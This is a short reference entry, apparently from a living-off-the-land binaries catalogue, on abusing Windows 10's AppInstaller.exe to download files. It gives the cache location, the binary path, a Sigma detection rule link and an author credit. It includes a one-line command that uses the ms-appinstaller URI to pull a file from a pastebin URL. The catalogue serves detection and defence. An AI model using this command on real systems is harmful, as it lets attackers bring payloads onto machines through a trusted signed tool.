Tool used for installation of AppX/MSIX applications on Windows 10
start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw
AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\<RANDOM-8-CHAR-DIRECTORY>
Download file from Internet
C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml
Wade Hickey (@notwhickey)